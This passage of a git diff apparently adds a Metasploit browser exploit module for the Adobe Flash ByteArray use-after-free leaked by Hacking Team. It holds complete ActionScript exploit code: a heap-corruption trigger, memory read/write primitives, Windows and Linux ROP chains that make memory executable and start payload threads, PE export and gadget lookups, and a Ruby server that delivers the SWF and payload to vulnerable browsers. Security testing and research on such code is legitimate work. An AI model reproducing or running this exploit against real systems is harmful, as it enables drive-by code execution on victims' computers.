+
+            // memcpy
+            eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
+            eba.write(0, 0x7ffd0000)
+            eba.write(0, payload_address + 8)
+            eba.write(0, payload.length) 
+
+            // CreateThread
+            eba.write(0, createthread)
+            eba.write(0, buffer + 0x10) // return to fix things
+            eba.write(0, 0)
+            eba.write(0, 0)
+            eba.write(0, 0x7ffd0000)
+            eba.write(0, 0)
+            eba.write(0, 0)
+            eba.write(0, 0)
+
+            eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
+            exploit.toString() // call method in the fake vtable
+        }
+
+        private function do_rop_linux():void
+        {
+            Logger.log("[*] Exploiter - do_rop_linux()")
+            var flash:Elf = new Elf(eba, vtable)
+            var feof:uint = flash.external_symbol('feof')
+            var libc:Elf = new Elf(eba, feof)
+            var popen:uint = libc.symbol("popen")
+            var mprotect:uint = libc.symbol("mprotect")
+            var mmap:uint = libc.symbol("mmap")
+            var clone:uint = libc.symbol("clone")
+            var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
+            var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
+            var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
+
+            // Continuation of execution
+            // 1) Recover original vtable
+            eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
+            eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
+            eba.write(0, "\x89\x03", false) // mov [ebx], eax
+            // 2) Recover original stack
+            eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
+
+            // my_memcpy
+            eba.write(buffer + 0x60, "\x56", false) // push esi
+            eba.write(0, "\x57", false)             // push edi
+            eba.write(0, "\x51", false)             // push ecx
+            eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
+            eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
+            eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
+            eba.write(0, "\xF3\xA4", false)         // rep movsb 
+            eba.write(0, "\x59", false)             // pop ecx
+            eba.write(0, "\x5f", false)             // pop edi
+            eba.write(0, "\x5e", false)             // pop esi
+            eba.write(0, "\xc3", false)             // ret
+
+            // Put the popen parameters in memory
+            eba.write(payload_address + 0x8, payload, true) // false
+           
+            // Put the fake stack/vtable on memory 
+            eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
+            eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
+            eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
+
+            // Return to mprotect()
+            eba.write(stack_address + 0x18034, mprotect)
+            // Return to stackpivot (jmp over mprotect parameters)
+            eba.write(0, addesp2cret)
+            // mprotect() arguments
+            eba.write(0, buffer) // addr
+            eba.write(0, 0x1000) // size
+            eba.write(0, 0x7)    // PROT_READ | PROT_WRITE | PROT_EXEC
+
+            // Return to mmap()
+            eba.write(stack_address + 0x18068, mmap)
+            // Return to stackpivot (jmp over mmap parameters)
+            eba.write(0, addesp2cret)
+            // mmap() code segment arguments
+            eba.write(0, 0x70000000) // 0x70000000
+            eba.write(0, 0x4000) // size
+            eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
+            eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
+            eba.write(0, 0xffffffff) // filedes
+            eba.write(0, 0) // offset
+
+            // Return to mmap()
+            eba.write(stack_address + 0x1809c, mmap)
+            // Return to stackpivot (jmp over mmap parameters)
+            eba.write(0, addesp2cret)
+            // mmap() stack segment arguments
+            eba.write(0, 0x70008000) // NULL
+            eba.write(0, 0x10000) // size
+            eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
+            eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
+            eba.write(0, -1) // filedes
+            eba.write(0, 0) // offset
+
+            // Return to memcpy()
+            eba.write(stack_address + 0x180d0, buffer + 0x60)
+            // Return to stackpivot (jmp over memcpy parameters)
+            eba.write(0, addesp2cret)
+            // memcpy() parameters
+            eba.write(0, 0x70000000)
+            eba.write(0, payload_address + 0x8)
+            eba.write(0, payload.length)
+
+            // Return to clone()
+            eba.write(stack_address + 0x18104, clone)
+            // Return to CoE (fix stack and object vtable)
+            eba.write(0, buffer + 0x10)
+            // clone() arguments
+            eba.write(0, 0x70000000) // code
+            eba.write(0, 0x7000bff0) // stack
+            eba.write(0, 0x00000100) // flags CLONE_VM
+            eba.write(0, 0)          // args
+           
+            //call   DWORD PTR [eax+0x24]
+            //EAX: 0x41414141 ('AAAA')
+            //EDI: 0xad857088 ("AAAA\377")
+            eba.write(main, stack_address + 0x18000)
+            exploit.hasOwnProperty('msf')
+        }
+
+        private function cleanup():void
+        { 
+            Logger.log("[*] Exploiter - cleanup()")
+            spray = null
+            stack = null
+            payload_space = null
+            eba = null
+            ev = null
+            exploit = null
+            System.pauseForGCIfCollectionImminent(0)
+        }
+    }
+}
diff --git a/external/source/exploits/hacking_team/Logger.as b/external/source/exploits/hacking_team/Logger.as
new file mode 100755
index 0000000000..16c0447973
--- /dev/null
+++ b/external/source/exploits/hacking_team/Logger.as
@@ -0,0 +1,32 @@
+package 
+{
+    import flash.external.ExternalInterface
+
+    public class Logger {
+        private static const DEBUG:uint = 0
+ 
+        public static function alert(msg:String):void
+        {
+            var str:String = "";
+
+            if (DEBUG == 1)
+                str += msg;
+            
+            if(ExternalInterface.available){
+                ExternalInterface.call("alert", str);
+            }
+        }
+
+        public static function log(msg:String):void
+        {
+            var str:String = "";
+
+            if (DEBUG == 1)
+                str += msg;
+            
+            if(ExternalInterface.available){
+                ExternalInterface.call("console.log", str);
+            }
+        }
+    }
+}
diff --git a/external/source/exploits/hacking_team/MyClass.as b/external/source/exploits/hacking_team/MyClass.as
new file mode 100755
index 0000000000..562151e737
--- /dev/null
+++ b/external/source/exploits/hacking_team/MyClass.as
@@ -0,0 +1,93 @@
+package
+{
+	import flash.display.DisplayObjectContainer;
+	import flash.utils.ByteArray;
+	import flash.system.Capabilities;
+	import flash.events.MouseEvent;
+	import flash.external.ExternalInterface;
+	
+	public class MyClass
+	{
+		static var 
+			_gc:Array, 
+			_va:Array,
+			_ba:ByteArray,
+			_isDbg:Boolean = Capabilities.isDebugger;
+		
+		// define malicious valueOf()
+		prototype.valueOf = function ()
+		{
+			Logger.log("MyClass.valueOf()");
+			
+			_va = new Array(5);
+			_gc.push(_va); // protect from GC // for RnD
+			
+			// reallocate _ba storage
+			_ba.length = 0x1100;
+			
+			// reuse freed memory
+			for(var i:int; i < _va.length; i++)
+				_va[i] = new Vector.<uint>(0x3f0);
+			
+			// return one byte for overwriting
+			return 0x40;
+		}
+		
+		// try to corrupt the length value of Vector.<uint>
+		static function TryExpl(e:Exploit, platform:String, os:String, payload:ByteArray) : Boolean
+		{
+            Logger.log("tryexpl")
+			try
+			{
+				var alen:int = 90; // should be multiply of 3
+				var a = new Array(alen);
+				if (_gc == null) _gc = new Array();
+				_gc.push(a); // protect from GC // for RnD
+				
+				// try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ]
+				for(var i:int; i < alen; i+=3){
+					a[i] = new MyClass2(i);
+					
+					a[i+1] = new ByteArray();
+					a[i+1].length = 0xfa0;
+					
+					a[i+2] = new MyClass2(i+2);
+				}
+				
+				// find these pages
+				var v:Vector.<uint>;
+				for(i=alen-5; i >= 0; i-=3)
+				{
+					// take next allocated ByteArray
+					_ba = a[i];
+					// call valueOf() and cause UaF memory corruption 
+					_ba[3] = new MyClass();
+					// _ba[3] should be unchanged 0
+					Logger.log("_ba[3] = " + _ba[3]);
+					if (_ba[3] != 0) throw new Error("can't cause UaF");
+					
+					// check results // find corrupted vector
+					for(var j:int=0; j < _va.length; j++){
+						v = _va[j];
+						if (v.length != 0x3f0) {
+							Logger.log("v.length = 0x" + v.length.toString(16));
+							var exploiter:Exploiter = new Exploiter(e, platform, os, payload, v, 0x3f0)
+							Logger.log("v.length = 0x" + v.length.toString(16));
+							return true
+						}
+					}
+				}
+				
+				Logger.log("bad allocation. try again."); 
+			}
+			catch (e:Error) 
+			{
+				Logger.log("TryExpl() " + e.toString());
+			}
+			
+			return false;
+		}
+		
+	}
+
+}
\ No newline at end of file
diff --git a/external/source/exploits/hacking_team/MyClass1.as b/external/source/exploits/hacking_team/MyClass1.as
new file mode 100755
index 0000000000..84ba8381eb
--- /dev/null
+++ b/external/source/exploits/hacking_team/MyClass1.as
@@ -0,0 +1,9 @@
+package
+{
+	import flash.utils.ByteArray;
+	
+	class MyClass1 extends ByteArray
+	{
+		var o1:Object, o2:Object, o3:Object, o4:Object;
+	}	
+}
\ No newline at end of file
diff --git a/external/source/exploits/hacking_team/MyClass2.as b/external/source/exploits/hacking_team/MyClass2.as
new file mode 100755
index 0000000000..c6c82ae2e0
--- /dev/null
+++ b/external/source/exploits/hacking_team/MyClass2.as
@@ -0,0 +1,115 @@
+package
+{
+	class MyClass2 extends MyClass1
+	{
+		var					
+			// enlarge the MyClass2 size by dummy attributes
+			a0 :uint, a1 :uint, a2 :uint, a3 :uint, a4 :uint, a5 :uint, a6 :uint, a7 :uint, a8 :uint, a9 :uint, 
+			a10:uint, a11:uint, a12:uint, a13:uint, a14:uint, a15:uint, a16:uint, a17:uint, a18:uint, a19:uint,
+			a20:uint, a21:uint, a22:uint, a23:uint, a24:uint, a25:uint, a26:uint, a27:uint, a28:uint, a29:uint, 
+			a30:uint, a31:uint, a32:uint, a33:uint, a34:uint, a35:uint, a36:uint, a37:uint, a38:uint, a39:uint, 
+			a40:uint, a41:uint, a42:uint, a43:uint, a44:uint, a45:uint, a46:uint, a47:uint, a48:uint, a49:uint, 
+			a50:uint, a51:uint, a52:uint, a53:uint, a54:uint, a55:uint, a56:uint, a57:uint, a58:uint, a59:uint, 
+			a60:uint, a61:uint, a62:uint, a63:uint, a64:uint, a65:uint, a66:uint, a67:uint, a68:uint, a69:uint, 
+			a70:uint, a71:uint, a72:uint, a73:uint, a74:uint, a75:uint, a76:uint, a77:uint, a78:uint, a79:uint, 
+			a80:uint, a81:uint, a82:uint, a83:uint, a84:uint, a85:uint, a86:uint, a87:uint, a88:uint, a89:uint, 
+			a90:uint, a91:uint, a92:uint, a93:uint, a94:uint, a95:uint, a96:uint, a97:uint, a98:uint, a99:uint,
+			
+			a100:uint, a101:uint, a102:uint, a103:uint, a104:uint, a105:uint, a106:uint, a107:uint, a108:uint, a109:uint,
+			a110:uint, a111:uint, a112:uint, a113:uint, a114:uint, a115:uint, a116:uint, a117:uint, a118:uint, a119:uint,
+			a120:uint, a121:uint, a122:uint, a123:uint, a124:uint, a125:uint, a126:uint, a127:uint, a128:uint, a129:uint,
+			a130:uint, a131:uint, a132:uint, a133:uint, a134:uint, a135:uint, a136:uint, a137:uint, a138:uint, a139:uint,
+			a140:uint, a141:uint, a142:uint, a143:uint, a144:uint, a145:uint, a146:uint, a147:uint, a148:uint, a149:uint,
+			a150:uint, a151:uint, a152:uint, a153:uint, a154:uint, a155:uint, a156:uint, a157:uint, a158:uint, a159:uint,
+			a160:uint, a161:uint, a162:uint, a163:uint, a164:uint, a165:uint, a166:uint, a167:uint, a168:uint, a169:uint,
+			a170:uint, a171:uint, a172:uint, a173:uint, a174:uint, a175:uint, a176:uint, a177:uint, a178:uint, a179:uint,
+			a180:uint, a181:uint, a182:uint, a183:uint, a184:uint, a185:uint, a186:uint, a187:uint, a188:uint, a189:uint,
+			a190:uint, a191:uint, a192:uint, a193:uint, a194:uint, a195:uint, a196:uint, a197:uint, a198:uint, a199:uint,
+
+			a200:uint, a201:uint, a202:uint, a203:uint, a204:uint, a205:uint, a206:uint, a207:uint, a208:uint, a209:uint,
+			a210:uint, a211:uint, a212:uint, a213:uint, a214:uint, a215:uint, a216:uint, a217:uint, a218:uint, a219:uint,
+			a220:uint, a221:uint, a222:uint, a223:uint, a224:uint, a225:uint, a226:uint, a227:uint, a228:uint, a229:uint, 
+			a230:uint, a231:uint, a232:uint, a233:uint, a234:uint, a235:uint, a236:uint, a237:uint, a238:uint, a239:uint,
+			a240:uint, a241:uint, a242:uint, a243:uint, a244:uint, a245:uint, a246:uint, a247:uint, a248:uint, a249:uint,
+			a250:uint, a251:uint, a252:uint, a253:uint, a254:uint, a255:uint, a256:uint, a257:uint, a258:uint, a259:uint,
+			a260:uint, a261:uint, a262:uint, a263:uint, a264:uint, a265:uint, a266:uint, a267:uint, a268:uint, a269:uint,
+			a270:uint, a271:uint, a272:uint, a273:uint, a274:uint, a275:uint, a276:uint, a277:uint, a278:uint, a279:uint,
+			a280:uint, a281:uint, a282:uint, a283:uint, a284:uint, a285:uint, a286:uint, a287:uint, a288:uint, a289:uint,
+			a290:uint, a291:uint, a292:uint, a293:uint, a294:uint, a295:uint, a296:uint, a297:uint, a298:uint, a299:uint,
+
+			a300:uint, a301:uint, a302:uint, a303:uint, a304:uint, a305:uint, a306:uint, a307:uint, a308:uint, a309:uint,
+			a310:uint, a311:uint, a312:uint, a313:uint, a314:uint, a315:uint, a316:uint, a317:uint, a318:uint, a319:uint,
+			a320:uint, a321:uint, a322:uint, a323:uint, a324:uint, a325:uint, a326:uint, a327:uint, a328:uint, a329:uint, 
+			a330:uint, a331:uint, a332:uint, a333:uint, a334:uint, a335:uint, a336:uint, a337:uint, a338:uint, a339:uint,
+			a340:uint, a341:uint, a342:uint, a343:uint, a344:uint, a345:uint, a346:uint, a347:uint, a348:uint, a349:uint,
+			a350:uint, a351:uint, a352:uint, a353:uint, a354:uint, a355:uint, a356:uint, a357:uint, a358:uint, a359:uint,
+			a360:uint, a361:uint, a362:uint, a363:uint, a364:uint, a365:uint, a366:uint, a367:uint, a368:uint, a369:uint,
+			a370:uint, a371:uint, a372:uint, a373:uint, a374:uint, a375:uint, a376:uint, a377:uint, a378:uint, a379:uint,
+			a380:uint, a381:uint, a382:uint, a383:uint, a384:uint, a385:uint, a386:uint, a387:uint, a388:uint, a389:uint,
+			a390:uint, a391:uint, a392:uint, a393:uint, a394:uint, a395:uint, a396:uint, a397:uint, a398:uint, a399:uint,
+
+			a400:uint, a401:uint, a402:uint, a403:uint, a404:uint, a405:uint, a406:uint, a407:uint, a408:uint, a409:uint,
+			a410:uint, a411:uint, a412:uint, a413:uint, a414:uint, a415:uint, a416:uint, a417:uint, a418:uint, a419:uint,
+			a420:uint, a421:uint, a422:uint, a423:uint, a424:uint, a425:uint, a426:uint, a427:uint, a428:uint, a429:uint,
+			a430:uint, a431:uint, a432:uint, a433:uint, a434:uint, a435:uint, a436:uint, a437:uint, a438:uint, a439:uint,
+			a440:uint, a441:uint, a442:uint, a443:uint, a444:uint, a445:uint, a446:uint, a447:uint, a448:uint, a449:uint,
+			a450:uint, a451:uint, a452:uint, a453:uint, a454:uint, a455:uint, a456:uint, a457:uint, a458:uint, a459:uint,
+			a460:uint, a461:uint, a462:uint, a463:uint, a464:uint, a465:uint, a466:uint, a467:uint, a468:uint, a469:uint,
+			a470:uint, a471:uint, a472:uint, a473:uint, a474:uint, a475:uint, a476:uint, a477:uint, a478:uint, a479:uint,
+			a480:uint, a481:uint, a482:uint, a483:uint, a484:uint, a485:uint, a486:uint, a487:uint, a488:uint, a489:uint,
+			a490:uint, a491:uint, a492:uint, a493:uint, a494:uint, a495:uint, a496:uint, a497:uint, a498:uint, a499:uint,
+			
+			a500:uint, a501:uint, a502:uint, a503:uint, a504:uint, a505:uint, a506:uint, a507:uint, a508:uint, a509:uint,
+			a510:uint, a511:uint, a512:uint, a513:uint, a514:uint, a515:uint, a516:uint, a517:uint, a518:uint, a519:uint,
+			a520:uint, a521:uint, a522:uint, a523:uint, a524:uint, a525:uint, a526:uint, a527:uint, a528:uint, a529:uint,
+			a530:uint, a531:uint, a532:uint, a533:uint, a534:uint, a535:uint, a536:uint, a537:uint, a538:uint, a539:uint,
+			a540:uint, a541:uint, a542:uint, a543:uint, a544:uint, a545:uint, a546:uint, a547:uint, a548:uint, a549:uint,
+			a550:uint, a551:uint, a552:uint, a553:uint, a554:uint, a555:uint, a556:uint, a557:uint, a558:uint, a559:uint,
+			a560:uint, a561:uint, a562:uint, a563:uint, a564:uint, a565:uint, a566:uint, a567:uint, a568:uint, a569:uint,
+			a570:uint, a571:uint, a572:uint, a573:uint, a574:uint, a575:uint, a576:uint, a577:uint, a578:uint, a579:uint,
+			a580:uint, a581:uint, a582:uint, a583:uint, a584:uint, a585:uint, a586:uint, a587:uint, a588:uint, a589:uint,
+			a590:uint, a591:uint, a592:uint, a593:uint, a594:uint, a595:uint, a596:uint, a597:uint, a598:uint, a599:uint,
+			
+			a600:uint, a601:uint, a602:uint, a603:uint, a604:uint, a605:uint, a606:uint, a607:uint, a608:uint, a609:uint,
+			a610:uint, a611:uint, a612:uint, a613:uint, a614:uint, a615:uint, a616:uint, a617:uint, a618:uint, a619:uint,
+			a620:uint, a621:uint, a622:uint, a623:uint, a624:uint, a625:uint, a626:uint, a627:uint, a628:uint, a629:uint,
+			a630:uint, a631:uint, a632:uint, a633:uint, a634:uint, a635:uint, a636:uint, a637:uint, a638:uint, a639:uint,
+			a640:uint, a641:uint, a642:uint, a643:uint, a644:uint, a645:uint, a646:uint, a647:uint, a648:uint, a649:uint,
+			a650:uint, a651:uint, a652:uint, a653:uint, a654:uint, a655:uint, a656:uint, a657:uint, a658:uint, a659:uint,
+			a660:uint, a661:uint, a662:uint, a663:uint, a664:uint, a665:uint, a666:uint, a667:uint, a668:uint, a669:uint,
+			a670:uint, a671:uint, a672:uint, a673:uint, a674:uint, a675:uint, a676:uint, a677:uint, a678:uint, a679:uint,
+			a680:uint, a681:uint, a682:uint, a683:uint, a684:uint, a685:uint, a686:uint, a687:uint, a688:uint, a689:uint,
+			a690:uint, a691:uint, a692:uint, a693:uint, a694:uint, a695:uint, a696:uint, a697:uint, a698:uint, a699:uint,
+			
+			a700:uint, a701:uint, a702:uint, a703:uint, a704:uint, a705:uint, a706:uint, a707:uint, a708:uint, a709:uint,
+			a710:uint, a711:uint, a712:uint, a713:uint, a714:uint, a715:uint, a716:uint, a717:uint, a718:uint, a719:uint,
+			a720:uint, a721:uint, a722:uint, a723:uint, a724:uint, a725:uint, a726:uint, a727:uint, a728:uint, a729:uint,
+			a730:uint, a731:uint, a732:uint, a733:uint, a734:uint, a735:uint, a736:uint, a737:uint, a738:uint, a739:uint,
+			a740:uint, a741:uint, a742:uint, a743:uint, a744:uint, a745:uint, a746:uint, a747:uint, a748:uint, a749:uint,
+			a750:uint, a751:uint, a752:uint, a753:uint, a754:uint, a755:uint, a756:uint, a757:uint, a758:uint, a759:uint,
+			a760:uint, a761:uint, a762:uint, a763:uint, a764:uint, a765:uint, a766:uint, a767:uint, a768:uint, a769:uint,
+			a770:uint, a771:uint, a772:uint, a773:uint, a774:uint, a775:uint, a776:uint, a777:uint, a778:uint, a779:uint,
+			a780:uint, a781:uint, a782:uint, a783:uint, a784:uint, a785:uint, a786:uint, a787:uint, a788:uint, a789:uint,
+			a790:uint, a791:uint, a792:uint, a793:uint, a794:uint, a795:uint, a796:uint, a797:uint, a798:uint, a799:uint,
+			
+			a800:uint, a801:uint, a802:uint, a803:uint, a804:uint, a805:uint, a806:uint, a807:uint, a808:uint, a809:uint,
+			a810:uint, a811:uint, a812:uint, a813:uint, a814:uint, a815:uint, a816:uint, a817:uint, a818:uint, a819:uint,
+			a820:uint, a821:uint, a822:uint, a823:uint, a824:uint, a825:uint, a826:uint, a827:uint, a828:uint, a829:uint,
+			a830:uint, a831:uint, a832:uint, a833:uint, a834:uint, a835:uint, a836:uint, a837:uint, a838:uint, a839:uint,
+			a840:uint, a841:uint, a842:uint, a843:uint, a844:uint, a845:uint, a846:uint, a847:uint, a848:uint, a849:uint,
+			a850:uint, a851:uint, a852:uint, a853:uint, a854:uint, a855:uint, a856:uint, a857:uint, a858:uint, a859:uint,
+			a860:uint, a861:uint, a862:uint, a863:uint, a864:uint, a865:uint, a866:uint, a867:uint, a868:uint, a869:uint,
+			a870:uint, a871:uint, a872:uint, a873:uint, a874:uint, a875:uint, a876:uint, a877:uint, a878:uint, a879:uint,
+			a880:uint, a881:uint, a882:uint, a883:uint, a884:uint, a885:uint, a886:uint, a887:uint, a888:uint, a889:uint,
+			a890:uint, a891:uint, a892:uint, a893:uint, a894:uint, a895:uint, a896:uint, a897:uint, a898:uint, a899:uint
+			
+			
+		// constructor
+		function MyClass2(id:int)
+		{
+			o1 = this; 
+			a0 = id;
+			for(var i:int=1; i < 64; i++) this["a"+i] = 0x11223344;
+		}
+	}	
+}
\ No newline at end of file
diff --git a/external/source/exploits/hacking_team/PE.as b/external/source/exploits/hacking_team/PE.as
new file mode 100755
index 0000000000..8753586477
--- /dev/null
+++ b/external/source/exploits/hacking_team/PE.as
@@ -0,0 +1,72 @@
+package
+{
+    public class PE
+    {
+        private var eba:ExploitByteArray
+
+        public function PE(ba:ExploitByteArray)
+        {
+            eba = ba
+        }
+
+        public function base(addr:uint):uint
+        {
+            addr &= 0xffff0000
+            while (true) {
+                if (eba.read(addr) == 0x00905a4d) return addr
+                addr -= 0x10000
+            }
+            return 0
+        }
+
+        public function module(name:String, addr:uint):uint
+        {
+            var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
+            var mod_name:String
+
+            while (true) {
+                var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
+                if (!entry) throw new Error("FAIL!"); 
+                mod_name = eba.read_string(addr + entry, name.length)
+                if (mod_name.toUpperCase() == name.toUpperCase()) break
+            }
+            return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
+        }
+
+        public function procedure(name:String, addr:uint):uint
+        {
+            var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
+            var numberOfNames:uint = eba.read(eat + 0x18)
+            var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
+            var addressOfNames:uint = addr + eba.read(eat + 0x20)
+            var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
+            var proc_name:String
+
+            for (var i:uint = 0; ; i++) {
+                var entry:uint = eba.read(addressOfNames + i * 4)
+                proc_name = eba.read_string(addr + entry, name.length + 2)
+                if (proc_name.toUpperCase() == name.toUpperCase()) break
+            }
+            return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
+        }
+
+        public function gadget(gadget:String, hint:uint, addr:uint):uint
+        {
+            var find:uint = 0
+            var contents:uint = 0
+            var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
+            var value:uint = parseInt(gadget, 16)
+
+            for (var i:uint = 0; i < limit - 4; i++) {
+                contents = eba.read(addr + i)
+                if (hint == 0xffffffff && value == contents) {
+                    return addr + i
+                }
+                if (hint != 0xffffffff && value == (contents & hint)) {
+                    return addr + i
+                }
+            }
+            throw new Error()
+        }
+    }
+}
diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb
new file mode 100644
index 0000000000..24c73740f9
--- /dev/null
+++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb
@@ -0,0 +1,143 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = GoodRanking
+
+  include Msf::Exploit::Remote::BrowserExploitServer
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'                => 'Adobe Flash Player ByteArray Use After Free',
+      'Description'         => %q{
+        This module exploits an use after free on Adobe Flash Player. The vulnerability,
+        discovered by Hacking Team and made public on its July 2015 data leak, was
+        described as an Use After Free while handling ByteArray objects. This module has
+        been tested successfully on:
+
+        Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
+        Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
+        Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.
+      },
+      'License'             => MSF_LICENSE,
+      'Author'              =>
+        [
+          'Unknown', # Someone from HackingTeam
+          'juan vazquez' # msf module
+        ],
+      'References'          =>
+        [
+          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/'],
+          ['URL', 'https://twitter.com/w3bd3vil/status/618168863708962816']
+        ],
+      'Payload'             =>
+        {
+          'DisableNops' => true
+        },
+      'Platform'            => ['win', 'linux'],
+      'Arch'                => [ARCH_X86],
+      'BrowserRequirements' =>
+        {
+          :source  => /script|headers/i,
+          :arch    => ARCH_X86,
+          :os_name => lambda do |os|
+            os =~ OperatingSystems::Match::LINUX ||
+              os =~ OperatingSystems::Match::WINDOWS_7
+          end,
+          :ua_name => lambda do |ua|
+            case target.name
+            when 'Windows'
+              return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
+            when 'Linux'
+              return true if ua == Msf::HttpClients::FF
+            end
+
+            false
+          end,
+          :flash   => lambda do |ver|
+            case target.name
+            when 'Windows'
+              return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.194')
+            when 'Linux'
+              return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.468')
+            end
+
+            false
+          end
+        },
+      'Targets'             =>
+        [
+          [ 'Windows',
+            {
+              'Platform' => 'win'
+            }
+          ],
+          [ 'Linux',
+            {
+              'Platform' => 'linux'
+            }
+          ]
+        ],
+      'Privileged'          => false,
+      'DisclosureDate'      => 'Jul 06 2015',
+      'DefaultTarget'       => 0))
+  end
+
+  def exploit
+    @swf = create_swf
+
+    super
+  end
+
+  def on_request_exploit(cli, request, target_info)
+    print_status("Request: #{request.uri}")
+
+    if request.uri =~ /\.swf$/
+      print_status('Sending SWF...')
+      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
+      return
+    end
+
+    print_status('Sending HTML...')
+    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
+  end
+
+  def exploit_template(cli, target_info)
+    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
+    target_payload = get_payload(cli, target_info)
+    b64_payload = Rex::Text.encode_base64(target_payload)
+    os_name = target_info[:os_name]
+
+    if target.name =~ /Windows/
+      platform_id = 'win'
+    elsif target.name =~ /Linux/
+      platform_id = 'linux'
+    end
+
+    html_template = %Q|<html>
+    <body>
+    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
+    <param name="movie" value="<%=swf_random%>" />
+    <param name="allowScriptAccess" value="always" />
+    <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
+    <param name="Play" value="true" />
+    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
+    </object>
+    </body>
+    </html>
+    |
+
+    return html_template, binding()
+  end
+
+  def create_swf
+    path = ::File.join(Msf::Config.data_directory, 'exploits', 'hacking_team', 'msf.swf')
+    swf =  ::File.open(path, 'rb') { |f| swf = f.read }
+
+    swf
+  end
+end